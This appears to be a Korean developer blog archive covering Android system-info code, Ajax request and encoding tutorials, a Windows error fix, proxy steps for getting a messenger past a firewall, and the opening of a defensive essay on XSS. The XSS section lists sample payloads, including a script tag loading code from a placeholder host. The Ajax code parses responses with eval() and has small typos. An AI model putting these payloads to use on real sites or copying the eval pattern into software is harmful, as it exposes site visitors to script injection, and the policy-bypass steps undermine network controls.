</LinearLayout>

Download main.xml.

AndroidSYSinfoActivity.java
package com.exercise.AndroidSYSinfo;

import com.exercise.AndroidSYSinfo.R;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class AndroidSYSinfoActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);


TextView SYSinfo = (TextView) findViewById(R.id.SYSinfo);
SYSinfo.setText(ReadSYSinfo());
}

private static StringBuffer SYSinfoBuffer;

private String ReadSYSinfo()
{
SYSinfoBuffer = new StringBuffer();

getProperty("os.name", "os.name", SYSinfoBuffer);
getProperty("os.version", "os.version", SYSinfoBuffer);

getProperty("java.vendor.url", "java.vendor.url", SYSinfoBuffer);
getProperty("java.version", "java.version", SYSinfoBuffer);
getProperty("java.class.path", "java.class.path", SYSinfoBuffer);
getProperty("java.class.version", "java.class.version", SYSinfoBuffer);
getProperty("java.vendor", "java.vendor", SYSinfoBuffer);
getProperty("java.home", "java.home", SYSinfoBuffer);

getProperty("user.name", "user.name", SYSinfoBuffer);
getProperty("user.home", "user.home", SYSinfoBuffer);
getProperty("user.dir", "user.dir", SYSinfoBuffer);

return SYSinfoBuffer.toString();
}

private void getProperty(String desc, String property, StringBuffer tBuffer)
{
tBuffer.append(desc);
tBuffer.append(" : ");
tBuffer.append(System.getProperty(property));
tBuffer.append("\n");
}
}

Download AndroidSYSinfoActivity.java.


출처 : http://android-er.blogspot.com/2009/09/read-android-system-info-using.html
Posted by 1010
반응형
프록시 서버 사용을 통한 방화벽 우회

1. HTTP-Tunnel ( http://www.http-tunnel.com/ ) - 먼저 대화하기 가능, 친구파일방 접속 가능
설치 후 실행 후
Use Free Service - Configure - Test - OK
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 1080
P2P 연결 포트 1080
한번 더 Configure - Test - OK

2. Vidalia ( http://www.vidalia-project.net/download.php )
설치 후 실행 후 접속 후
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 9050

3. SSH Tunneling
검색하면 많이 나온다.

Posted by 1010
90.개발관련문서2010. 4. 28. 11:14
반응형
 

인터넷 연결 공유를 설정하려고 하면 "오류 1068" 오류 메시지가 발생한다

기술 자료 ID : 827328
마지막 검토 : 2005년 7월 11일 월요일
수정 : 3.1

현상

인터넷 연결 공유 마법사를 실행하면 다음과 유사한 내용의 오류 메시지 중 하나가 나타날 수 있습니다.
인터넷 연결 공유를 사용할 수 있게 설정하는 동안 오류가 발생했습니다. 종속 서비스나 그룹이 시작될 수 없습니다.
또는
1068: 종속 서비스나 그룹이 시작될 수 없습니다.

위로 가기

해결 방법

이 문제를 해결하려면 모든 종속 서비스가 시작되었는지 확인하십시오. 이렇게 하려면 다음 단계를 수행하십시오.
1. 시작을 누른 다음 도움말 및 지원을 누릅니다.
2. 작업 선택에서 도구를 사용하여 컴퓨터 정보를 볼 수 있으며 문제를 진단할 수 있습니다.를 누릅니다.
3. 도구 영역에서 시스템 구성 유틸리티를 누릅니다.
4. 오른쪽 창에서 시스템 구성 유틸리티 열기를 누릅니다. 이렇게 하면 시스템 구성 유틸리티가 열립니다.
5. 서비스 탭을 누릅니다.
6. 다음 서비스가 모두 설정되어 있는지 확인합니다. 서비스를 설정하려면 확인란을 눌러 선택합니다.
Application Layer Gateway Service
Network Connections
NLA(Network Location Awareness)
Plug and Play
Remote Access Auto Connection Manager
Remote Access Connection Manager
Remote Procedure Call (RPC)
Telephony
7. 확인을 누른 다음 다시 시작을 누릅니다.
8. Windows가 다시 시작된 후 인터넷 연결 공유 마법사를 다시 실행합니다.

위로 가기

참조

이 문제에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
241584 (http://support.microsoft.com/kb/241584/) 서비스가 시작되지 않고 "오류 1058"이 표시된다




Microsoft 제품 관련 기술 전문가들과 온라인으로 정보를 교환하시려면 Microsoft 뉴스 그룹 (http://support.microsoft.com/newsgroups/default.aspx)에 참여하시기 바랍니다.

위로 가기


Posted by 1010
06.Ajax2010. 4. 20. 16:24
반응형

Ajax 기본 예제와 JSP 엔진에서 한글 인코딩 충돌 문제 처리 

Ajax가 필요한 일이 발생해서, 급조해서 Ajax를 공부했다.
공부한 책은 Ajax 입문이며, 처음 약 5~60 페이지만 읽었다. 급조한 내용이니 너무 신뢰하지 말 것. 아.. 그리고 이 책, 중대한 오탈자가 은근히 있다. 혹시 이 책으로 공부하고자 한다면 오탈자를 확인한 뒤에 공부해서 불필요한 시간 낭비를 줄이는 것이 좋겠다.

아무튼, 책의 내용중 Ajax의 기본적인 사용에 관한 문제를 정리하고, 또 JSP/Servlet 엔진에서 Ajax사용시에 발생하는 한글 인코딩(encoding)문제의 처리방법도 정리해 둔다.


Ajax의 개념에 관한 설명은 인터넷 상에 차고 넘치므로 생략.

* A Simpler Ajax Path가 Ajax 입문에 좋은 글.


Ajax의 개발 순서

1. XMLHttpRequest 객체 생성
2. HTTP 요청을 발생시킴(open(), send())
3. 서버측에서 XMLHttpRequest를 통해 보낸 요청을 받아서 파라미터를 분석하고, 작업을 한 뒤에 결과를 XML이나 문자열로 리턴한다.
4. XMLHttpRequest로 서버가 리턴한 데이터를 받아서 처리(onreadystatechange, responseText, responseXML)


XMLHttpRequest에 의한 송수신 상세 예


JavaScript에서 XMLHttpRequest Object 생성하기


// XMLHttpRequest 오브젝트 생성 함수
// @sample oj = createHttpRequest();
// @return XMLHttpRequest 오브젝트
function createHttpRequest()
{
    if (window.ActiveXObject) {
        try {
            // IE6
            return new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                // IE4, IE5
                return new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e2) {
                return null;
            }
        }
    } else if (window.XMLHttpRequest) {
        // Mozilla, FireFox, Opera, Safari, Konqueror3
        return new XMLHttpRequest();
    } else {
        return null;
    }
}



HTTP 요청 발생

 1. open() 메소드 실행 (POST/GET, 요청URL, 동기/비동기지정)

var request = createHttpRequest();
request.open("GET", "/test.xml");
 
// param 1 : GET/POST
// param 2 : URL
// param 3 : 생략가능. 동기/비동기 여부. 기본 비동기.


 2. send() 메소드(데이터 송신)

 request.send(""); // 데이터 없이 전송할때 혹은
 request.send(null); // Konqueror에서는 오류 발생함. Konqueror를 제외하고 데이터 없이 전송할 때 사용가능


위 a,b가 기본적인 모양새이지만, 실제로 GET과 POST 방식에 따라 차이가 많이난다.

  * GET 방식 : GET 방식은 URL에 파라미터를 직접 붙여 보내지만, 한글 등의 문제로 인코딩이 필요하고, RequestHeader 설정도 필요하다. 일반적으로 다음과 같은 모양이 된다.

var paramName = encodeURIComponent("파라미터명"); // 파라미터이름을 UTF-8로 인코딩
var paramValue = encodedURIComponent("파라미터값"); // 파라미터 값을 UTF-8로 인코딩

// 파라미터 구분에 사용되는 ?와 &는 인코딩 되면 안된다. 그래서 따로 붙인다.
var fullParameter = '?' + paramName + '=' + paramValue; // URL에 사용할 파라미터 구성

request.open("GET", "/test.cgi" + data);

// setRequestHeader()는 open()보다 이후에 나와야만 한다.
// 아래는 파라미터 값을 UTF-8로 인코딩해서 보내겠다는 의미.
// GET방식에서는 필요 없고, POST방식에서는 필수이다.
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');

request.send(null);


  * POST 방식 : send() 메소드에 인수를 데이터로 넘긴다.

request.open("POST", "/test.cgi");
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
// POST 방식에서도 파라미터를 인코딩하여 send()메소드의 인자로 넘겨주면 된다.
request.send("name=test&data=123");


A Simpler Ajax Path에 보면 HTML폼에 입력된 값을 자동으로 파라미터 문자열로 변경해주는 메소드 예가 있다.


착신과 데이터 처리

 * onreadystatechange 이벤트(송수신 상태 변할때 기동) - IE 이외 부라우저에서는 콜백 스타일의 onload 이벤트 사용가능
 * readyState 프라퍼티 (송수신 상태를 나타내는 값. "4"가 송신 완료) - onload의 경우에는 불필요
onreadystatechange는 요청 처리 상태를 나타내는 readyState 프라퍼티의 값이 바뀔 때 발생한다.
 * 착신을 처리할 함수 지정은 request.open() 함수를 호출하기 전에 선언해야 정상 작동했다. 항상 요청을 보내기 전에 요청을 처리할 함수 지정을 해둔다.

request.onreadystatechange = callbackFunction; // callbackFunction() 함수가 호출된다.

function callbackFunction() {
    // readyState == 4는 착신 완료를 의미한다.
    if (request.readyState == 4) {
        // 착신시의 처리
    }
}


다른 방법으로, callback 함수를 인라인으로 정의하고, HTTP 상태 코드가 200일때만 작업하도록 할 수도 있다. 두가지를 한꺼번에 보면,

request.onreadystatechange = funcation() {
    if (request.readyState == 4 &&
            request.status == 200) {
        // 착신시의 처리
    }
}


onreadystatechange 대신 onload를 사용할 수 있다. Opera 8은 버그때문에 onload만 사용한다. (IE를 제외한 다른 브라우저에서 다 된다)

request.onload = function() {
    // 착신시의 처리
}


onload와 onreadystatechange를 동시에 이용하기 위해서 다음과 같이한다.

if (window.opera) {
    request.onload = function() { callback(request); }
} else {
    request.onreadystatechange = function() {
        if (request.readyState == 4) {
            callback(request);
        }
    }
}

function callback(request) {
    // 실제 착신시의 처리를 구현하는 부분
}


 * responseText 또는 responseXML (데이터를 텍스트 혹은 DOMDocument로 수신)
   * responseText : 텍스트로 받기
   * responseXml : XML로 받기
   * 여러줄의 CSV 텍스트를 받았을 때의 일반적 처리

var res = request.responseText;
var rows = res.split(" "); // 여러 줄을 한 줄씩 배열로 만든다.
var cols = rows[0].split(","); // 첫번째 줄을 쉼표 단위로 분리하여 배열로 만든다.


   * JSON 처리

eval("res = " + request.responseText)
//... 기타 처리


   * XML 처리


  Toshiro Takahashi
  hello



var res = request.responseXML;
var msgs = res.getElementsByTagName("msg"); // DOM 객체 사용

alert(msg[0].firstChild.nodeValue);



서버측 스크립트

XMLHttpRequest.send() 에 의해 요청을 받아 처리하게 되는 서버측 스크립트(JSP, Servlet, ASP, PHP 등)은 요청 파라미터를 분석하여 작업을 처리한 뒤에 결과를 Text나 XML로 리턴하면 된다.
 * 리턴시 문자 인코딩은 기본적으로 UTF-8로 한다.
 * 텍스트로 리턴할 경우, Opera 8, Konqueror 3, Safari 등은 UTF-8을 인식하지 못한다. 서버는 응답 문자열을 UTF-8기준으로 URI 인코딩을 해서(Java의 경우 java.net.URLEncoder.encode() 메소드 사용) 리턴하고, 받는 측(웹 브라우져)는 다음과 같이 해석하면 정상적인 문자열을 받게 된다.(실제로는 작동하지 않으므로 URLEncoder를 사용하지말고 받는 자바 스크립트 측에서도 아래와 같이 받지 말고 그냥 request.responseText를 받을 것)

// Mozilla FireFox와 IE에서는 Encode/Decode할 경우
//공백이 +로 바뀌는 현상이 발생했다. 그래서 안쓴다.
// JavaScript측에서 decodeURIComponent를 안하면 서버측에서도 URLEncoding을 하면 안된다.
var res = decodeURIComponent(request.responseText);



JSP/Servlet 에서 Ajax와 한글 인코딩 문제

Ajax는 기본적으로 UTF-8 만으로 통신을 한다고 보면된다. 그 이외의 Encoding을 지원하는 인코딩 함수가 없기 때문에 EUC-KR로 데이터를 전송하려는 꿈은 접어야만 한다.
헌데, 아직 우리나라는 EUC-KR 인코딩으로 된 웹 어플리케이션이 압도적으로 많은 상황이다(어서 빨리 UTF-8로 옮겨가길 바라마지 않는다).
거기다가 보통 JSP/Servlet 웹 어플리케이션은 Servlet 스펙 2.3이후부터 문자 인코딩 서블릿 필터를 사용해 모든 요청에 대해 일관된 문자 인코딩을 사용하는 것이 보편적인 방법으로 자리잡았다.

서블릿 필터는 일관성있게 모든 요청을 EUC-KR로 받아들이게 했는데, 몇몇 Ajax관련 요청만 UTF-8로 받아들여야만 하는 것이다.
필터를 적용할 URL-Pattern을 따로 줘보려 했으나, 너무 복잡해졌다.
그래서 HTTP 요청의 헤더를 이용해서 해결 했다.

아.. 한가지 더. 현재 한글 문제는 "XMLHttpRequest 요청 -> JSP/Servlet" 이 상황에서만 발생하는 것이다.
"JSP/Servlet -> XMLHttpRequest"의 상황(서버에서 클라이언트로 값을 리턴)에서는 이 문제가 발생하지 않는다.
서버가 리턴하는 문자열은 간단하게 다음처럼 하면 WAS가 자동으로 UTF-8로 값을 변경해서 전달하기 때문이다.



contentType에서 text/plain은 텍스트나 JSON으로 값을 리턴할 때이다. XML로 리턴할 때는 text/xml.

아래는 Ajax 요청을 처리하기 위해서 만들어본 간단한 Encoding Filter 이다.

package ajax.filter;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

/**
 * 어플리케이션 전체에 적용되는 필터이다.
 *
 *

 *
encoding 파라미터 : encoding 파라미터를 설정하면 request 객체에
 * setCharacterEncoding(encoding)을 실행한다.
 *
ajaxFlag 파라미터 : Ajax요청임을 나타내는 HTTP 파라미터 이름이다. ajaxFilter로 지정한 HTTP 파라미터의
 * 값이 true 로 설정되면 인코딩을 무조건 UTF-8로 설정한다.
 *

 *
 * @author 손권남(kwon37xi@yahoo.co.kr)
 *
 */
public class EncodingFilter implements Filter {

    private Log log = LogFactory.getLog(this.getClass());

    /** HTTP 요청 문자 인코딩 */
    private String encoding = null;

    /** Ajax 요청임을 나타내는 플래그 파라미터 이름 */
    private String ajaxFlag = null;

    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {

        if (ajaxFlag != null
                && "true".equals(((HttpServletRequest) request)
                        .getHeader(ajaxFlag))) {
            // Ajax 처리 요청일 경우 무조건 UTF-8 지정.
            request.setCharacterEncoding("UTF-8");
            if (log.isDebugEnabled()) {
                log.debug("요청 헤더에 " + ajaxFlag + "가 "
                        + ((HttpServletRequest) request).getHeader(ajaxFlag)
                        + "로 설정되어 있어 문자 인코딩에  UTF-8을 사용합니다.");
            }
        } else if (encoding != null) {
            // Ajax 플래그가 true가 아니면, 기본적인 인코딩을 적용한다.
            request.setCharacterEncoding(encoding);
            if (log.isDebugEnabled()) {
                log.debug("문자 인코딩에 " + encoding + "을 사용합니다.");
            }
        }

        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {
        encoding = config.getInitParameter("encoding");

        ajaxFlag = config.getInitParameter("ajaxFlag");

        if (log.isDebugEnabled()) {
            log.info("encoding : " + encoding + ", ajaxFlag : " + ajaxFlag);
        }
    }

    public void destroy() {
    }
}


이 필터를 적용하고서, web.xml에 다음 내용을 추가하면 필터가 작동한다.


    이중 인코딩 필터
    EncodingFilter
    ajax.filter.EncodingFilter
   
        encoding
        euc-kr
   
   
        ajaxFlag
        Ajax
   


    EncodingFilter
    /*


여기 내용을 보면, 기본적인 인코딩은 EUC-KR이고, 요청 헤더에 "Ajax" 헤더의 값이 "true"일 경우에는 강제로 UTF-8을 지정하라고 한 것이다. "ajaxFlag"의 값을 변경하면 헤더의 키을 "Ajax"가 아닌 다른 값으로도 지정할 수 있다. 하지만 아무튼 해당 헤더의 값을 "true"로 지정하면 Ajax로 인식하게 되는 것이다.

이를 위해서는 XMLHttpRequest에도 한가지 처리를 더 보태야 한다.

    request.open("GET", "AjaxProcessor.jsp" + fullParameter);
    request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
    request.setRequestHeader('Ajax', 'true');


당연히 헤더에 값 Ajax요청임을 명시하는 값을 설정하는 것이다.

그리고 다음 문제가 또 있는데, Tomcat 버전별로 문자 인코딩 설정이 달라질 수 있다는 것이다.
위 내용은 Tomcat 4.x에서는 정상 작동하지만, Tomcat 5.x 에서는 제대로 작동하지 않는다.
Tomcat 5.x에서는 server.xml 에 GET 방식의 요청에 대한 인코딩을 지정하기 때문이다.
여기서 URIEncoding="euc-kr" 을 사용하지 않고, useBodyEncodingForURI="true"을 사용하면 Tomcat 4.x 처럼 request.setCharacterEncoding()의 값을 따라가게 할 수 있다.
Tomcat과 한글에 대해서는 Tomcat/JSP와 한글문서를 참조한다.

또하나 Ajax임을 나타내는 플래그를 HTTP 요청 헤더에 설정하도록 했는데, 그러지 않고 요청 파라미터(request.getParameter()로 값을 얻어올 수 있는 것)으로 설정하면 안된다.
request.getParameter()가 실행되어 Ajax 플래그의 값을 감지하는 그 순간, 그 이후 호출되는 request.setCharacterEncoding()는 완전히 무시되어 버리기 때문이다.


예제

급조한 예제이다.
* AjaxCaller.jsp - Ajax 호출부(클라이언트) : 수식을 만들어서 서버측에 계산을 요청한다.






이름 : 


    +
    -
    *
    /




* AjaxProcessor.jsp - Ajax 처리부(서버) : 수식을 계산한 결과를 JSON 형태로 리턴한다



이름 입력 부분에 한글을 입력하여 문제없이 처리되는지 확인해보기 바란다.


JSON

Ajax(JavaScript)는 데이터를 리턴 받는 방법으로 XML/Text/JSON을 지원한다. JSON은 텍스트 형태로 객체를 정의하는 방식이다. 이것은 XML과 1:1 매칭을 할 수도 있다. XML보다 훨씬 만들기 쉽고 사용법도 자바 객체를 사용하는 것과 유사하다. 그래서 이걸 사용해서 프로그램을 작성했다.

{
  "test1": "hello",
  "test2": "hello2"
}


위와 같은 메시지를 서버에서 응답으로 내보냈다고 할 때

// JSON 형태의 텍스트를 JavaScript 객체화 한다.
eval("res = " + request.responseText);

// 객체를 사용한다.
alert(res.test2); // 이 명령은 "hello2"를 출력한다.


배열은 다음과 같이 생성한다.

[
  ["test1", "test2"],
  ["test3", "test4"]
]


아래와 같이 사용한다.

eval("res = " + request.responseText);

// test4를 출력한다.
alert(res[1][1])


 * JSON 홈페이지 : http://www.json.org/
 * Java 객체를 이용해서 JSON 객체를 위한 텍스트 생성하기 : http://www.json.org/java/simple.txt 매우 단순한 방법으로 핵심 기능만 가지고 있다. 이것을 사용하길 권장한다. 라이브러리 다운로드는 http://www.JSON.org/java/json_simple.zip 에서 한다.
 * XML과 JSON간의 변환 

(출처 : http://ingenuity.egloos.com)

Posted by 1010
06.Ajax2010. 4. 20. 16:11
반응형

Ajax에서 서버와의 통신을 위한 핵심 요소인 XMLHttp는

IE7과 모질라 계열 브라우저에서는 native XMLHttpRequest를 사용.
그리고 IE6 이하 버전에서는 Microsoft.XMLHttp를 ActiveXObject로 object 생성.

[ IE에서 생성할 수 있는 XMLHttp object ]
  - Microsoft.XMLHttp
  - MSXML2.XMLHttp
  - MSXML2.XMLHttp.3.0
  - MSXML2.XMLHttp.4.0
  - MSXML2.XMLHttp.5.0


[ Cross-Browser 를 위한 XMLHttp object 메소드 생성 예 ]

function CreateXMLHttp()
{
  if (window.XMLHttpRequest)
  {
    return new XMLHttpRequest();
  }
  else if (window.ActiveXObject)
  {
    var aVersions = [ "MSXML2.XMLHttp.5.0"
      ,"MSXML2.XMLHttp.4.0"
      ,"MSXML2.XMLHttp.3.0"
      ,"MSXML2.XMLHttp"
      ,"Microsoft.XMLHttp"
      ];

    for (var i = 0; i < aVersions.length; i++)
    {
      try
      {
        var oXmlHttp = new ActiveXObject(aVersions[i]);
        return oXmlHttp;
      }
      catch (oError)
      {    
      }
    }
  }
}


[XMLHttp의 메소드 , 프로퍼티 및 이벤트]
1. 메소드
- abort( ) : 요청을 취소
- getAllResponseHeaders( ) : 모든 응답 헤더를 수신
- getResponseHeader(header) : 특정 응답 헤더 수신
- open(RequestType, url, async) : 통신 연결(nativ XMLHttpRequest는 Cross-domain을 제한함.)
   - RequestType : Get or Post

   - url : 서버 주소
   - async : true(비동기 방식 통신), false(동기 방식)
  
- send(content) : 서버로 요청을 보냄. content는 null 을 포함함.
- setHeader(header, value) : 헤더의 키와 값의 쌍을 설정

2. 프로퍼티 / 이벤트 핸들러
- onreadystatechange : readyState가 변경 시 실행될 함수 등록
- readyState : 요청 및 처리 상태
   - 0 (Uninitialized) : 아직 open() 메소드를 호출 하지 않은 상태
   - 1 (Loading) : open() 메소드를 호출한 상태(아직 send는 하지 않은 시점)
   - 2 (Loaded) : 요청을 서보로 보낸 상태( send() )
   - 3 (Interactive) : 일부만 응답 받은 상태
   - 4 (Complete): 모든 데이터를 받고 연결이 끊어진 상태

- responseText : 서버로 부터 받은 결과값의 스트링 반환
- responseXML : 서버로 부터 받은 결과값의 XML 형식
- status  : 서버로 부터 응답 받은 상태 코드 (200 (OK) or 404 (Not Found) 등)
- statusText : status 코드에 대한 의미 명기


[ 서버 전송 예 ]
function sendRequest()
{
    var content = getRequestBody();

    var oXmlHttp = createXMLHttp();
    oXmlHttp.open("post", "http://www.text.com/testForm.aspx", true);
    oXmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    //서버로 호출이 성공 하였을 경우 처리할 CallBack 함수 등록
    oXmlHttp.onreadystatechange = function ()
    {
        if (oXmlHttp.readyState == 4)
        {
            if (oXmlHttp.status == 200)
            {
                saveResult(oXmlHttp.responseText);
            }
            else
            {
                saveResult("An error occurred: "+ oXmlHttp.statusText);
            }
        }
    };
    
    oXmlHttp.send(content);
}


----------------------- 에이작스 한글깨짐 -----------------------------

JavaScript --> PHP

encodeURIComponent( string ) --> iconv( "UTF-8", "CP949", rawurldecode($string ) )


PHP --> JavaScript

rawurlencode( iconv( "CP949", "UTF-8", $string ) ) --> decodeURIComponent( string )


JSP/Servlet 에서 Ajax와 한글 인코딩 문제


Ajax는 기본적으로 UTF-8 만으로 통신을 한다고 보면된다. 그 이외의 Encoding을 지원하는 인코딩 함수가 없기 때문에 EUC-KR로 데이터를 전송하려는 꿈은 접어야만 한다.
헌데, 아직 우리나라는 EUC-KR 인코딩으로 된 웹 어플리케이션이 압도적으로 많은 상황이다(어서 빨리 UTF-8로 옮겨가길 바라마지 않는다).
거기다가 보통 JSP/Servlet 웹 어플리케이션은 Servlet 스펙 2.3이후부터 문자 인코딩 서블릿 필터를 사용해 모든 요청에 대해 일관된 문자 인코딩을 사용하는 것이 보편적인 방법으로 자리잡았다.

서블릿 필터는 일관성있게 모든 요청을 EUC-KR로 받아들이게 했는데, 몇몇 Ajax관련 요청만 UTF-8로 받아들여야만 하는 것이다.
필터를 적용할 URL-Pattern을 따로 줘보려 했으나, 너무 복잡해졌다.
그래서 HTTP 요청의 헤더를 이용해서 해결 했다.

아.. 한가지 더. 현재 한글 문제는 "XMLHttpRequest 요청 -> JSP/Servlet" 이 상황에서만 발생하는 것이다.
"JSP/Servlet -> XMLHttpRequest"의 상황(서버에서 클라이언트로 값을 리턴)에서는 이 문제가 발생하지 않는다.
서버가 리턴하는 문자열은 간단하게 다음처럼 하면 WAS가 자동으로 UTF-8로 값을 변경해서 전달하기 때문이다.

<%@ page contentType="text/plain; charset=utf-8" pageEncoding="EUC-KR"%>


contentType에서 text/plain은 텍스트나 JSON으로 값을 리턴할 때이다. XML로 리턴할 때는 text/xml.

아래는 Ajax 요청을 처리하기 위해서 만들어본 간단한 Encoding Filter 이다.

package ajax.filter;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

/**
 * 어플리케이션 전체에 적용되는 필터이다.
 *
 * <ul>
 * <li>encoding 파라미터 : encoding 파라미터를 설정하면 request 객체에
 * setCharacterEncoding(encoding)을 실행한다.</li>
 * <li>ajaxFlag 파라미터 : Ajax요청임을 나타내는 HTTP 파라미터 이름이다. ajaxFilter로 지정한 HTTP 파라미터의
 * 값이 true 로 설정되면 인코딩을 무조건 UTF-8로 설정한다.</li>
 * </ul>
 *
 * @author 손권남(kwon37xi@yahoo.co.kr)
 *
 */
public class EncodingFilter implements Filter {

    private Log log = LogFactory.getLog(this.getClass());

    /** HTTP 요청 문자 인코딩 */
    private String encoding = null;

    /** Ajax 요청임을 나타내는 플래그 파라미터 이름 */
    private String ajaxFlag = null;

    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {

        if (ajaxFlag != null
                && "true".equals(((HttpServletRequest) request)
                        .getHeader(ajaxFlag))) {
            // Ajax 처리 요청일 경우 무조건 UTF-8 지정.
            request.setCharacterEncoding("UTF-8");
            if (log.isDebugEnabled()) {
                log.debug("요청 헤더에 " + ajaxFlag + "가 "
                        + ((HttpServletRequest) request).getHeader(ajaxFlag)
                        + "로 설정되어 있어 문자 인코딩에  UTF-8을 사용합니다.");
            }
        } else if (encoding != null) {
            // Ajax 플래그가 true가 아니면, 기본적인 인코딩을 적용한다.
            request.setCharacterEncoding(encoding);
            if (log.isDebugEnabled()) {
                log.debug("문자 인코딩에 " + encoding + "을 사용합니다.");
            }
        }

        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {
        encoding = config.getInitParameter("encoding");

        ajaxFlag = config.getInitParameter("ajaxFlag");

        if (log.isDebugEnabled()) {
            log.info("encoding : " + encoding + ", ajaxFlag : " + ajaxFlag);
        }
    }

    public void destroy() {
    }
}

이 필터를 적용하고서, web.xml에 다음 내용을 추가하면 필터가 작동한다.
<filter>
    <description>이중 인코딩 필터</description>
    <filter-name>EncodingFilter</filter-name>
    <filter-class>ajax.filter.EncodingFilter</filter-class>
    <init-param>
        <param-name>encoding</param-name>
        <param-value>euc-kr</param-value>
    </init-param>
    <init-param>
        <param-name>ajaxFlag</param-name>
        <param-value>Ajax</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>EncodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

여 기 내용을 보면, 기본적인 인코딩은 EUC-KR이고, 요청 헤더에 "Ajax" 헤더의 값이 "true"일 경우에는 강제로 UTF-8을 지정하라고 한 것이다. "ajaxFlag"의 값을 변경하면 헤더의 키을 "Ajax"가 아닌 다른 값으로도 지정할 수 있다. 하지만 아무튼 해당 헤더의 값을 "true"로 지정하면 Ajax로 인식하게 되는 것이다.

이를 위해서는 XMLHttpRequest에도 한가지 처리를 더 보태야 한다.
Posted by 1010
98..Etc/Security2010. 4. 20. 15:16
반응형

XSS 공격에 대한 대응 고민

XSS 공격에 대한 고민

XSS는 Cross Site Scripting 의 약자입니다.

CSS 로 줄여쓰지 않는것은 CSS(Cascading Style Sheets) 와 구분해서 사용하기 위함이라 합니다.


아무튼 XSS 는 SQL-Injection 과 더불어서 웹해킹의 대명사로 불리고 있습니다.
서버가 직접 해킹당하는 것은 아니기에 우리나라에서는 큰 문제로 부각되고 있지는 않지만

외국에서는 중요 취약점으로 이미 분류하고 있습니다.


왜냐하면 XSS는 사용자(클라이언트)가 해킹당하는 문제입니다.
XSS 공격에 의해 개인정보가 유출될 수도 있고, 악성코드에 감염될 수도 있습니다.
즉 내 사이트를 방문한 고객에게 직접적으로 문제가 발생할 수 있는 취약점이기에

사이트를 방문한 고객에 대한 신뢰를 생각한다면 결코 만만한 문제가 아닌 것이죠..


페이팔 같은 경우 2006년 XSS 에 의해 피싱사이트로 유도되어 개인정보가 유출된 사고가 있었는데
피싱과 연계되어 신용카드 번호같은 금융정보가 유출되는 사고가 발생한다면
사용자에게 금전적인 손해가 발생할 수 있으며
사이트의 신뢰에 큰 악영향을 줄 것은 분명한 일입니다.
따라서 사소한 XSS 취약점이라도 문제점이 없도록 노력하는 모습을 볼 수 있습니다.


일본인 특유의 조심성, 호들갑일수 있지만
모 일본 사이트의 게시판이 폐쇄된 적이 있었는데
보안진단중에 게시판에 XSS 취약점이 발견되어 일단 계시판을 폐쇄하고
문제점을 개선한 후에 재 오픈하겠다는 내용이었습니다.


XSS가 발생할 수 있는 경우는 2가지 형태가 있습니다.
가장 단순한것은 사용자 Input 값이 출력값에 그대로 포함되는 형태입니다.

예를들어  hxxp://www.xxxx.com/login.asp?id=bangrip<script>alert("ff");</script> 로 호출했을때
서버에서 응답한 html 소스에 입력값이 그대로 출력되어 스크립트가 실행되는 것이죠.
이와같은 경우는 input 페이지와 output 페이지가 동일한 경우입니다.


반면 공격자가 삽입한 스크립트가 db에 저장되어 실행되는 경우가 있습니다.
이를테면 게시판의 제목이나 본문에 스크립트를 삽입했을경우 input 페이지는
write.asp 이지만 출력페이지는 view.asp 가 되는 경우입니다.


이경우는 스크립트가 삽입된 게시물을 클릭한 모든이에게 문제가 발생할 수 있기 때문에
전자보다 더 리스크가 크다고 볼 수 있습니다.
 
아무튼 이번 쓰레드 주제 역시 근본적인 대응에 대한 고민입니다.
단순 삽입이 되던, db에 저장되었다 실행이 되던간에

어떻게 하면 XSS 취약점이 없다고 자신할 수 있는 안전한 사이트를 만들 것인가에 대한 고민이죠..


XSS는 IPS나 웹방화벽으로 막는것이 어렵다는 것이 제 개인적인 생각입니다.
왜냐하면 SQL-Injection 은 DB에서 사용하는 문자이기에 시그니처를 만들 수 있었지만
XSS 태그와 정상적인 HTML 태그를 구분해 내는것이 쉽지 않기 때문입니다.
(물론 사이트에 따라 다를 수 있습니다.)

document.cookie 라는 문자열 역시 탐지 패턴으로 걸어 보았더니. 무수하게 많이 뜨더라고요.
즉 false-positive 가 너무 많아서 순수 공격을 가려내기가 힘이든다는 것이죠..

SecurityPlus에 게시된 XSS 공격에 사용되는 시그니처들입니다.


http://cafe.naver.com/ArticleRead.nhn?clubid=10414494&page=8&searchtype=1&query=XSS&searchdate=all&articlemedia=0&sortby=date&articleid=5517&referrerAllArticles=true

[1] XSS Javascript Injection
      <SCRIPT SRC="http://xxx/xss.js></SCRIPT>

[2] Image XSS의 다양한 Type
      <IMG SRC="javascript:alert('XSS');">
      <IMG SRC="javascript:alert('XSS')>
      <IMG SRC="JaVaScRiPt:alert('XSS')>
